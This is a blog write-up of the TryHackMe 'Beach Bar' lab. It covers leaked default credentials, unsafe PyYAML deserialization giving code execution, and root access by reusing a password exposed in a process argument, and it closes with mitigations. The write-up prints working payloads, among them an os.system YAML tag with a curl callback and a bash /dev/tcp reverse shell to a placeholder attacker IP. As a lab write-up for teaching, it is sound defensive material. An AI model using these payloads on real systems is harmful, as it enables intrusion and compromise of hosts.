DEV Community

Cover image for TryHackMe : Beach Bar Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : Beach Bar Writeup

TL;DR

Beach Bar is a Flask-based "DJ booth" web app for a beach bar jukebox.
Default demo credentials (dj/dj) left enabled in an HTML comment get you
into the dashboard, which exposes a YAML playlist export/import feature.
The import endpoint calls yaml.load() with the full (unsafe) Loader
instead of safe_load, which allows arbitrary Python object construction —
and from there, arbitrary command execution via os.system. That gets a
reverse shell as bartender. A leftover --stream-pass argument visible in
the process list turns out to be a reused root password, giving a clean
path to full compromise via su root.

User flag: THM{[REDACTED]}
Root flag: THM{[REDACTED]}


1. Recon

$ nmap -A -Pn <TARGET_IP> -o nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Gunicorn
| http-title: "Beach Bar // Sign in"
|_Requested resource was /login
|_http-server-header: gunicorn
Enter fullscreen mode Exit fullscreen mode

Two open ports: SSH and an HTTP app fronted by Gunicorn, redirecting to
/login. Gunicorn + a /login redirect + no other stack hints yet — this
smelled like Flask from the start, confirmed later by the session cookie.

2. Initial access — default creds in an HTML comment

$ curl -L http://<TARGET_IP>
...
<!--
    staff note: the demo DJ login is still enabled for the soft opening.
    dj / dj  -- swap this before the season starts (ticket BAR-7)
-->
<form method="post">
  <input type="text" id="username" name="username">
  <input type="password" id="password" name="password">
</form>
Enter fullscreen mode Exit fullscreen mode

A staff note left in the page source hands over demo credentials directly:
dj / dj.

$ curl -L -c cookies.txt http://<TARGET_IP>/login -d 'username=dj&password=dj'
Enter fullscreen mode Exit fullscreen mode

Logged in as dj, landing on a "DJ booth" dashboard with /dashboard,
/import, /export, and /logout links. The session cookie itself is a
tell:

$ cat cookies.txt
session eyJ1c2VyIjoiZGoifQ.anFasg.OtavUIDXbkEQjqjuMSAZ-vaMu2E
Enter fullscreen mode Exit fullscreen mode

eyJ1c2VyIjoiZGoifQ base64-decodes to {"user":"dj"} — the standard
payload.timestamp.signature shape of a Flask itsdangerous-signed
session cookie. Confirms Flask before ever touching source code.

3. Finding the sink — playlist export/import

$ curl -b cookies.txt http://<TARGET_IP>/export
# Beach Bar jukebox playlist export
playlist:
  name: Sunset Session
  vibe: golden hour
  tracks:
    - artist: Khruangbin
      title: "Maria Tambien"
    ...
Enter fullscreen mode Exit fullscreen mode

/export dumps the current playlist straight from yaml.dump(). The
matching /import page invites you to paste that YAML back in — the
classic export/import-round-trip pattern that's worth checking for unsafe
deserialization on the way back in.

$ curl -b cookies.txt http://<TARGET_IP>/import
...
<form method="post" enctype="multipart/form-data">
  <textarea id="playlist" name="playlist" ...></textarea>
  <input type="file" id="playlist_file" name="playlist_file" accept=".yml,.yaml">
</form>
Enter fullscreen mode Exit fullscreen mode

Two intake fields: playlist (raw YAML text) and playlist_file (file
upload), posted as multipart/form-data.

4. Confirming unsafe YAML deserialization

Sent a harmless !!python/object tag — not a command-execution payload,
just enough to see whether the loader would even attempt to construct a
Python object from the tag:

$ curl -b cookies.txt http://<TARGET_IP>/import \
  -F 'playlist=playlist: !!python/object/new:str {state: [pwn]}'
Enter fullscreen mode Exit fullscreen mode
<h2>Loader error</h2>
<pre>Could not load playlist: dictionary update sequence element #0 has length 3; 2 is required</pre>
Enter fullscreen mode Exit fullscreen mode

That error comes from inside Python's object-construction logic, not
from a "no constructor for this tag" rejection — meaning the app is not on
yaml.safe_load(). It's happily trying to instantiate arbitrary Python
objects from user-supplied YAML.

5. RCE

Confirmed with a blind OOB callback via os.system:

$ curl -b cookies.txt http://<TARGET_IP>/import \
  -F 'playlist=playlist: !!python/object/apply:os.system ["curl http://<ATTACKER_IP>:4444/rce"]'
Enter fullscreen mode Exit fullscreen mode
$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 56058
GET /rce HTTP/1.1
Enter fullscreen mode Exit fullscreen mode

Confirmed RCE. Escalated straight to a reverse shell:

$ curl -b cookies.txt http://<TARGET_IP>/import \
  -F 'playlist=playlist: !!python/object/apply:os.system ["bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\""]'
Enter fullscreen mode Exit fullscreen mode
$ penelope -p 4444 listen
[+] [New Reverse Shell] => 10.49.149.75 Linux-x86_64 bartender(1001)
bartender@tryhackme-2404:/opt/beach-bar/webapp$ whoami
bartender
Enter fullscreen mode Exit fullscreen mode

Landed as bartender (uid 1001), running out of /opt/beach-bar/webapp
— confirmed by later grepping the source that this is exactly what
happened:

$ grep -rn "yaml.load\|exec\|subprocess\|os.system" /opt/beach-bar/webapp/
/opt/beach-bar/webapp/app.py:4:import yaml
/opt/beach-bar/webapp/app.py:95:            parsed = yaml.load(content, Loader=yaml.Loader)
Enter fullscreen mode Exit fullscreen mode

yaml.load(content, Loader=yaml.Loader) — the full, unsafe loader,
exactly as suspected from the error message.

$ cat /home/bartender/user.txt
THM{[REDACTED]}
Enter fullscreen mode Exit fullscreen mode

6. Privilege escalation — password reuse from a process argument

sudo -l failed (no password known yet), SUID/SGID enumeration and cron
jobs turned up nothing exploitable. LinPEAS's process listing was the
lead:

root  612  ... /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass SunsetSpritz2024! --bitrate 320k
Enter fullscreen mode Exit fullscreen mode

A streaming daemon running as root with its password passed as a CLI
argument — visible to any local user via ps aux or /proc/<pid>/cmdline.
Worth trying that same password for the actual root account, since ops
teams reusing a "throwaway" service password for real accounts is a
common pattern:

bartender@tryhackme-2404:/tmp$ su root
Password: SunsetSpritz2024!
root@tryhackme-2404:/tmp# whoami
root
root@tryhackme-2404:/tmp# cat /root/root.txt
THM{[REDACTED]}
Enter fullscreen mode Exit fullscreen mode

Root, via straightforward credential reuse.

7. Bonus finding (out of scope of the intended path, but notable)

LinPEAS's cloud enumeration section pulled live AWS EC2 instance-profile
credentials off the IMDS endpoint (role vulnerable-machine, temporary
AccessKeyId/SecretAccessKey/session token). Worth flagging in a real
engagement as a separate SSRF/IMDS-exposure finding even though it wasn't
needed to reach root here — anything with local code execution on this box
inherits whatever that IAM role can do in the account.


Key vulnerabilities

# Weakness Detail
1 Hardcoded/leftover default credentials dj/dj demo login left enabled and documented in an HTML comment.
2 Insecure deserialization /import calls yaml.load(content, Loader=yaml.Loader) instead of yaml.safe_load(), allowing arbitrary Python object construction from user-supplied YAML → RCE via !!python/object/apply:os.system.
3 Secrets in process arguments Root-owned jukeboxd.py service started with --stream-pass SunsetSpritz2024!, readable by any local user via ps//proc.
4 Password reuse The leaked service password was also the root account password.
5 (Bonus) IMDS credential exposure LinPEAS retrieved live IAM role credentials from the EC2 metadata service once on-box — no IMDSv2 token hop required in this environment.

Attack chain

HTML comment leaks demo creds (dj/dj)
        │
        ▼
Login → dashboard exposes /export + /import (YAML round-trip)
        │
        ▼
/import → yaml.load(Loader=yaml.Loader)  (confirmed via object-construction error)
        │
        ▼
!!python/object/apply:os.system [...]  →  RCE as bartender
        │
        ▼
ps aux reveals root process arg: --stream-pass SunsetSpritz2024!
        │
        ▼
su root (password reuse)  →  root
Enter fullscreen mode Exit fullscreen mode

Mitigations

  • Never ship demo/default credentials, even for a "soft opening" — remove the account or gate it behind a feature flag that can't reach production.
  • Use yaml.safe_load() (or yaml.SafeLoader) for any YAML originating from user input. If custom types are genuinely needed, use a restricted loader with an explicit allowlist of constructors — never the default full Loader.
  • Never pass secrets as CLI arguments to long-running services; use environment variables sourced from a secrets manager, or a file with restrictive permissions instead — ps//proc/<pid>/cmdline are world readable by default on Linux.
  • Enforce unique, non-reused credentials between service accounts and privileged human accounts (e.g. via a password manager + rotation policy), so a leaked service secret doesn't double as a root password.
  • Enforce IMDSv2 (token-required) on the EC2 instance and scope the attached IAM role to least privilege, so a foothold on the box doesn't automatically hand over cloud-level credentials.

Top comments (0)